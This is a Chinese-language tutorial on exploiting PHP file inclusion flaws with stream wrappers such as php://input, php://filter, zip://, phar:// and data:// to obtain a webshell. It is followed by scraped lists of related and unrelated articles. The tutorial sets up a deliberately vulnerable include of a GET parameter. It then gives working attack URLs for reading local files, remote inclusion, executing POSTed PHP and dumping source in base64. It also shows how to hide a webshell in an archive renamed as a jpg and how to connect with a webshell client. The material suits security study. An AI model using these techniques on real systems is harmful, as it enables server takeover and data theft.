PHP文件包含及使用伪协议getshell
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
首先构造一个具有文件包含漏洞的php文件。
require($_GET['file']);
其次使用伪协议包含文件并getshell:
1、file://:访问本地文件系统。

例如。http://localhost/test.php?file=file://C:\Windows\System32\drivers\etc\hosts

2、http://:访问http或https的网址

例如:http://localhost/test.php?file=http://www.baidu.com

http://伪协议必须 allow_url_fopen与allow_url_include同时开启。缺一不可。
此伪协议就是远程文件包含漏洞。可通过其他主机getshell。例如:http://localhost/test.php?file=http://localhost/1.php

3、php://访问各个输入输出流

php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受 allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。
例如:开启allow_url_include参数,关闭allow_url_fopen参数。

访问:http://localhost/test.php?file=php://input POST:<?php phpinfo();

php://filter伪协议:不受 allow_url_fopen与allow_url_include参数的影响

此协议主要用于读取php源代码时会用到。
例如:http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./1.php

也就是说,将一个PHP文件通过base64编码读出。倘若不加read读取链,则会将其中内容当做PHP代码执行,倘若如此,则无法读取PHP文件内容,于是在读取链中将其编码。
例如:php://filter/resource=./1.txt

所以说,php://filter此协议不受参数影响,即可读取文件内容,也可包含恶意文件直接getshell。
例如:将1.txt修改为
菜刀连接:http://localhost/test.php?file=php://filter/resource=./1.txt

getshell成功
4、zip://伪协议

试想倘若有一种情况限制文件后缀为php文件,并且上传文件只能传jpg文件。allow_url_fopen参数与allow_url_include参数全部off的情况下。
<?php
$file = $_GET['file'] . '.php';
include($file);
?>
貌似之前所用伪协议都无效,比较旧的版本可以使用00截断,路劲长度截断等。但是若无截断漏洞该如何?
此种情况下可以使用zip伪协议,将木马放入压缩包中,再将压缩包后缀修改为上传白名单,然后使用zip伪协议进行包含。
例如:zip://绝对路径\需要解压缩的文件%23子文件名

5、phar://伪协议
同zip伪协议。故上述问题此协议也可解决。
phar://cc.jpg/cc,与zip协议不同的是zip协议为绝对路径,而phar协议为相对路径。

6、data://伪协议

可以看到,此协议是受 allow_url_include 限制的。所以 allow_url_fopen参数与allow_url_include都需开启。
data://text/plain,<?php phpinfo();?>。test/plain, 后面的值会被当做php代码执行。

也可如此:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

PHP文件包含及使用伪协议getshell的更多相关文章
- php 文件包含base64读取文件 preg_replace函数
解题部分题目来源攻防世界web高手进阶区1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示完全,此位置可疑.2.源代码中发现?page=index,出现page这个get参数,联 ...
- PHP文件包含学习笔记
看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...
- web文件包含
web安全~文件包含总结 文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当P ...
- web安全~文件包含总结
文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大 ...
- ✔PHP文件包含漏洞全面总结
我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html 目录 文件包含的定义 文件包含漏洞常见函数 文件包含漏洞 ...
- 文件包含漏洞(DVWA环境中复现)
LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...
- PHP文件包含漏洞(利用phpinfo)复现
0x01 简介 PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell.因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获 ...
- DVWA之File Inclusion(文件包含)
目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...
- 【web】php文件包含(利用phpinfo)
Docker搭建复现环境 地址:https://github.com/vulhub/vulhub/tree/master/php/inclusion ps. github单独下载一个文件夹的方法: 安 ...
随机推荐
- 如何用OCR文字识别软件将PDF转换成Excel
最近老板老是让小编处理PDF文件,这OCR识别软件咱也不懂,也不敢问,只能一字一字的码在Excel上,但是这波操作效率不高,还没完成任务,老板又发了一堆PDF文件需要处理,怎么办呢? 跟朋友说了这事后 ...
- PowerPoint无法正常加载MathType的解决方法
MathType是一款十分便捷的数学公式编辑器,可以和很多办公软件和网站兼容使用,我们日常用的比较多的也就是Office和WPS,更具体的说是Word\Excel\PPT等等一系列办公常用软件. 不过 ...
- JUC并发工具包之Semaphore
目录 Semaphore (JDK) Timed Semaphore (Apache Commons) Semaphore vs. Mutex CodeRepo Semaphore (JDK) 我们使 ...
- DIV设置滚动条在最底端
网站聊天样式,无论添加什么内容div的滚动条都显示在最底端 将div添加滚动条,给div一定的高度 <div id='up' style='height:100px; width:400px;o ...
- python搭建本地共享文件服务器
1.安装python 去官网下载python最新版,然后安装配置好环境 2.运行命令 在终端上输入以下命令 python3 -m http.server 当你执行完这个命令的时候,你的电脑会监听 80 ...
- 1. 揭秘Spring类型转换 - 框架设计的基石
仰不愧天,俯不愧人,内不愧心.关注公众号[BAT的乌托邦],有Spring技术栈.MyBatis.JVM.中间件等小而美的原创专栏供以免费学习.分享.成长,拒绝浅尝辄止.本文已被 https://ww ...
- MIT-6.006算法导论(2011秋)
L01 Algorithmic Thinking,Peak Finding 算法定义:高效处理大量数据的程序 在学本课之前最好先学习6.042,本课进阶为6.046 本门课的8个主要章节:算法思想.排 ...
- ModelViewSet基础操作
1 安装DjangoRestFramework pip install djangorestframework==3.11.1 2.在settings.py中注册 INSTALLED_APPS = [ ...
- 学习笔记(1):零基础掌握 Python 入门到实战-列表与元祖到底该用哪个?(二)...
立即学习:https://edu.csdn.net/course/play/26676/338778?utm_source=blogtoedu 列表不能通过增加索引增加元素 可以使用list中的app ...
- Python正则表达式re模块和os模块实现文件搜索模式匹配
☞ ░ 前往老猿Python博文目录 ░ 因测试需要,需要提供一个可以指定目录搜索符合条件的文件名函数,搜索时可以通过*(星号)匹配0-n个字符,?(问号)匹配任意1个字符,可以指定多个文件类型,每个 ...